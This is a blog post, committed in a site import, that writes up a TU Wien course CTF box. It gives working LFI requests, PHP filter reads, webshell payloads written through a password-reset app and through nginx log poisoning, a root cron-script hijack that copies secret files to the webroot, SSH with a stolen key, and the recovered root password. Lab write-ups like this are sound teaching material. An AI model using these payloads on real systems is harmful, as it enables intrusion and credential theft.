Initial import of Hugo site to Forgejo
This commit is contained in:
commit
cb1ba0317f
1259 changed files with 236349 additions and 0 deletions
455
content/posts/g00_tuw_measurement_ctf.md
Normal file
455
content/posts/g00_tuw_measurement_ctf.md
Normal file
|
|
@ -0,0 +1,455 @@
|
|||
---
|
||||
title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job"
|
||||
date: 2026-06-05T12:00:00Z
|
||||
draft: false
|
||||
tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"]
|
||||
categories: ["CTF", "Security"]
|
||||
toc: true
|
||||
summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."
|
||||
---
|
||||
|
||||
> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends.
|
||||
|
||||
This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.
|
||||
|
||||
Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper:
|
||||
|
||||
1. Collect every `passwd_part` file sitting in user home directories.
|
||||
2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`).
|
||||
|
||||
Simple. Boring. Except Klaus was clearly in charge of this VM.
|
||||
|
||||
---
|
||||
|
||||
## 0) The lay of the land
|
||||
|
||||
**Target:** `g00.tuw.measurement.network`
|
||||
|
||||
From the outside you mostly see three faces of the same machine:
|
||||
|
||||
| Host | What it is |
|
||||
|------|------------|
|
||||
| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** |
|
||||
| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter |
|
||||
| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet |
|
||||
|
||||
Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`.
|
||||
|
||||
SSH from outside? Public key only. Password auth is a lie (for us, anyway).
|
||||
|
||||
---
|
||||
|
||||
## 1) Recon — documentation.md saves the day
|
||||
|
||||
First stop: the main site.
|
||||
|
||||
```bash
|
||||
curl -s https://g00.tuw.measurement.network/documentation.md
|
||||
```
|
||||
|
||||
That file is basically a treasure map. It mentions two services:
|
||||
|
||||
- **web** → `web.g00.tuw.measurement.network`
|
||||
- **pwreset** → `pwreset.g00.tuw.measurement.network`
|
||||
|
||||
I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`.
|
||||
|
||||
Subdomains resolve. Good. Let's go web.
|
||||
|
||||
---
|
||||
|
||||
## 2) LFI — `include($_GET['page'])` classic
|
||||
|
||||
The web vhost is a frameset. Content loads in a frame via `?page=`:
|
||||
|
||||
```bash
|
||||
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
|
||||
```
|
||||
|
||||
And there it is — root, users, the whole `/etc/passwd` parade inside the frame.
|
||||
|
||||
Source via PHP filter works too:
|
||||
|
||||
```bash
|
||||
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
|
||||
| sed -n 's/.*frame name="in">//p' | base64 -d
|
||||
```
|
||||
|
||||
`index.php` is roughly:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$page = $_GET['page'] ?? 'home.php';
|
||||
include($page);
|
||||
?>
|
||||
```
|
||||
|
||||
Klaus, my man. We love you.
|
||||
|
||||
**First instinct:** read all the `passwd_part` files immediately.
|
||||
|
||||
```bash
|
||||
# spoiler: doesn't work
|
||||
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
|
||||
# → permission denied
|
||||
```
|
||||
|
||||
Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair.
|
||||
|
||||
---
|
||||
|
||||
## 3) pwreset — localhost-only, but LFI doesn't care about nginx
|
||||
|
||||
Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:
|
||||
|
||||
```nginx
|
||||
allow 127.0.0.1;
|
||||
deny all;
|
||||
```
|
||||
|
||||
So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request.
|
||||
|
||||
pwreset source (paraphrased):
|
||||
|
||||
```php
|
||||
$user = $_GET['user'] ?? '';
|
||||
$pass = $_GET['pass'] ?? '';
|
||||
file_put_contents('/var/www/userchange', "$user:$pass\n");
|
||||
echo "Password reset queued.";
|
||||
```
|
||||
|
||||
It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell).
|
||||
|
||||
**Trigger it through LFI:**
|
||||
|
||||
```text
|
||||
https://web.g00.tuw.measurement.network/
|
||||
?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
|
||||
&user=user1
|
||||
&pass=MyTestPass1!
|
||||
```
|
||||
|
||||
I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it.
|
||||
|
||||
---
|
||||
|
||||
## 4) RCE — PHP in `userchange`, included like a boss
|
||||
|
||||
At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP?
|
||||
|
||||
So I wrote a tiny shell into the `user` field via pwreset:
|
||||
|
||||
```php
|
||||
<?=`id`?>
|
||||
```
|
||||
|
||||
Then included `/var/www/userchange` through the LFI:
|
||||
|
||||
```text
|
||||
?page=/var/www/userchange
|
||||
```
|
||||
|
||||
**Output:** `uid=33(www-data) gid=33(www-data) ...`
|
||||
|
||||
Short tags (`<?= ... ?>`) for the win. A longer `<?php system(...); ?>` payload also works, but the backtick version is minimal and cute.
|
||||
|
||||
From here on, my mental model was:
|
||||
|
||||
1. **pwreset** → write arbitrary-ish content to `/var/www/userchange`
|
||||
2. **LFI include `userchange`** → execute PHP as `www-data`
|
||||
|
||||
That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open.
|
||||
|
||||
---
|
||||
|
||||
## 5) Rabbit holes (aka "everything I tried before it worked")
|
||||
|
||||
This box is a *presentation* CTF. It wants you to wander. I wandered. Hard.
|
||||
|
||||
### nginx log poisoning
|
||||
|
||||
The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up.
|
||||
|
||||
Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late.
|
||||
|
||||
### `data://`, `php://input`, `expect://`
|
||||
|
||||
```bash
|
||||
?page=data://text/plain,<?php system($_GET[cmd]); ?>
|
||||
?page=php://input # with POST body
|
||||
?page=expect://id
|
||||
```
|
||||
|
||||
Nope. `allow_url_include = Off`. Klaus isn't *that* careless.
|
||||
|
||||
### vim `.swp` files
|
||||
|
||||
`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`.
|
||||
|
||||
Empty memes page. No execution. Nice red herring — very on-theme for the talk.
|
||||
|
||||
### Munin / `apt_all` plugin
|
||||
|
||||
The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:
|
||||
|
||||
- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist**
|
||||
- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …)
|
||||
- Waited for cron cycles hoping a custom plugin would curl localhost pwreset
|
||||
|
||||
**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere.
|
||||
|
||||
### pwreset log archaeology
|
||||
|
||||
Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore:
|
||||
|
||||
- Saw historical resets like `user3` → `foobar23`
|
||||
- Tried `foobar23` over SSH for every user
|
||||
|
||||
**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that.
|
||||
|
||||
### Shell script injection into `userchange`
|
||||
|
||||
I tried newline injection to turn `userchange` into a bash script:
|
||||
|
||||
```text
|
||||
user=
|
||||
#!/bin/sh
|
||||
cp /home/user1/passwd_part /var/www/.../p1
|
||||
...
|
||||
```
|
||||
|
||||
Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path.
|
||||
|
||||
### Brute-forcing the `userchange` consumer
|
||||
|
||||
I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`.
|
||||
|
||||
Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.)
|
||||
|
||||
### Direct SSH password guessing
|
||||
|
||||
Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH.
|
||||
|
||||
From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside.
|
||||
|
||||
---
|
||||
|
||||
## 6) Privesc — world-writable cron script (peak Klaus)
|
||||
|
||||
With RCE as `www-data`, I looked for writable files:
|
||||
|
||||
```bash
|
||||
find / -writable -type f 2>/dev/null | head
|
||||
```
|
||||
|
||||
Jackpot:
|
||||
|
||||
```text
|
||||
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
|
||||
```
|
||||
|
||||
Original script (innocent):
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
|
||||
```
|
||||
|
||||
It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss.
|
||||
|
||||
I appended:
|
||||
|
||||
```bash
|
||||
cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
|
||||
cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
|
||||
cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
|
||||
cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
|
||||
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
|
||||
cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
|
||||
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
|
||||
```
|
||||
|
||||
Then either waited for cron or executed the script manually via RCE:
|
||||
|
||||
```php
|
||||
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
|
||||
```
|
||||
|
||||
**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud.
|
||||
|
||||
---
|
||||
|
||||
## 7) SSH as `www-data` — because keys in the webroot are a mood
|
||||
|
||||
The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did.
|
||||
|
||||
```bash
|
||||
# via RCE: cat the key, save locally, chmod 600
|
||||
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
|
||||
www-data@g00.tuw.measurement.network
|
||||
```
|
||||
|
||||
Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.
|
||||
|
||||
---
|
||||
|
||||
## 8) The password parts
|
||||
|
||||
| Source | File | Part |
|
||||
|--------|------|------|
|
||||
| user1 | `p1` | `DcC6Da0A27384fA` |
|
||||
| user2 | `p2` | `9Ce05B3cAd57824` |
|
||||
| user3 | `p3` | `3aD80fa1b7AE986` |
|
||||
| user4 | `p4` | `CDefabffab1FCCf` |
|
||||
| www-data | `passwd_part` | `44D885d6DAb8Bb9` |
|
||||
| root | `rootpass` | `ghadnuthduxeec7` |
|
||||
|
||||
**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.
|
||||
|
||||
**Combined root password (95 characters):**
|
||||
|
||||
```text
|
||||
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
|
||||
```
|
||||
|
||||
Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`.
|
||||
|
||||
I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines.
|
||||
|
||||
Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.
|
||||
|
||||
---
|
||||
|
||||
## 9) Attack chain (one screen)
|
||||
|
||||
```text
|
||||
documentation.md
|
||||
→ web vhost LFI (include $_GET['page'])
|
||||
→ include pwreset index.php (localhost bypass)
|
||||
→ write PHP to /var/www/userchange
|
||||
→ LFI include userchange
|
||||
→ RCE as www-data
|
||||
→ append to world-writable cron_update_hostname_file.sh
|
||||
→ cron runs as root → copies passwd parts to webroot
|
||||
→ read parts / SSH as www-data
|
||||
→ profit
|
||||
```
|
||||
|
||||
Very "real world" in the worst way. Multiple small mistakes compounding into a full chain.
|
||||
|
||||
---
|
||||
|
||||
## 10) Replay script
|
||||
|
||||
I left a minimal Python replay in the challenge repo:
|
||||
|
||||
```bash
|
||||
python3 solve.py
|
||||
```
|
||||
|
||||
Core logic:
|
||||
|
||||
```python
|
||||
def pwreset(user, passwd=""):
|
||||
# LFI-include pwreset index.php with user/pass params
|
||||
|
||||
def rce(cmd):
|
||||
pwreset(f"<?=`{cmd}`?>", "")
|
||||
return lfi_include("/var/www/userchange")
|
||||
```
|
||||
|
||||
It prints `id`, the modified cron script, each part file, and the combined password.
|
||||
|
||||
---
|
||||
|
||||
## 11) Bonus: the intended log poisoning path
|
||||
|
||||
After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂
|
||||
|
||||
So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass.
|
||||
|
||||
### The hint is in `index.php`, not `documentation.md`
|
||||
|
||||
`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI):
|
||||
|
||||
```html
|
||||
<!-- remember for debugging:
|
||||
/var/log/nginx/$vhost.access.log
|
||||
/var/log/nginx/$vhost.error.log
|
||||
/var/log/nginx/ssl-$vhost.access.log
|
||||
/var/log/nginx/ssl-$vhost.error.log
|
||||
-->
|
||||
```
|
||||
|
||||
Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log.
|
||||
|
||||
### Intended technique
|
||||
|
||||
1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log:
|
||||
|
||||
```text
|
||||
/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||||
```
|
||||
|
||||
2. Put PHP in the `User-Agent` (or another logged field):
|
||||
|
||||
```text
|
||||
<?php passthru($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
Short tags like `` <?=`id`?> `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun.
|
||||
|
||||
3. **Include that log** through the same LFI bug:
|
||||
|
||||
```text
|
||||
https://web.g00.tuw.measurement.network/
|
||||
?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||||
&cmd=id
|
||||
```
|
||||
|
||||
On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required.
|
||||
|
||||
### How I griefed myself
|
||||
|
||||
| What I did | Why it hurt |
|
||||
|------------|-------------|
|
||||
| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing |
|
||||
| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail |
|
||||
| Fired dozens of test payloads | Left broken `<?php` in the HTTP log (`$_GET[cmd]` without quotes, `\x22`, etc.) — PHP dies on the **first** bad tag before reaching a clean line |
|
||||
| Didn't read `index.php` source early | Missed the debug comment until I'd already polluted both logs |
|
||||
|
||||
Tobias's take: that's a feature. The box teaches you that **ops mistakes compound** — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.
|
||||
|
||||
### If you're solving it now
|
||||
|
||||
- Read `index.php` source first.
|
||||
- Poison on **HTTP**: `http://web.g00.tuw.measurement.network/` with a clean User-Agent payload.
|
||||
- Include the **non-ssl** access log path from the comment.
|
||||
- Don't spray malformed PHP into the log unless you enjoy debugging your own garbage.
|
||||
|
||||
I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.
|
||||
|
||||
---
|
||||
|
||||
## 12) TL;DR
|
||||
|
||||
- **Read** `documentation.md` — it tells you where the services live.
|
||||
- **Read** `index.php` source — the debug comment gives you the log paths.
|
||||
- **Intended RCE** = HTTP log poisoning → LFI include the non-ssl access log.
|
||||
- **What I did** = pwreset → `userchange` → cron (also works, not the intended first step).
|
||||
- **Privesc** = `/usr/local/bin/cron_update_hostname_file.sh` is world-writable and runs as root.
|
||||
- **Griefing** = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
|
||||
- **Flag** = concatenate all `passwd_part` slices + `/root/passwd` suffix.
|
||||
|
||||
If you're doing this as part of the TU Wien lab: don't touch other groups' hosts, don't break the infra, and maybe send Klaus a thank-you note for the cron job.
|
||||
|
||||
Happy hacking. 🔓
|
||||
|
||||
---
|
||||
|
||||
*Thanks to Tobias Fiebig for the delightfully cursed "real world" box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.*
|
||||
|
||||
|
||||
---
|
||||
|
||||
{{< sigdl >}}
|
||||
Loading…
Add table
Add a link
Reference in a new issue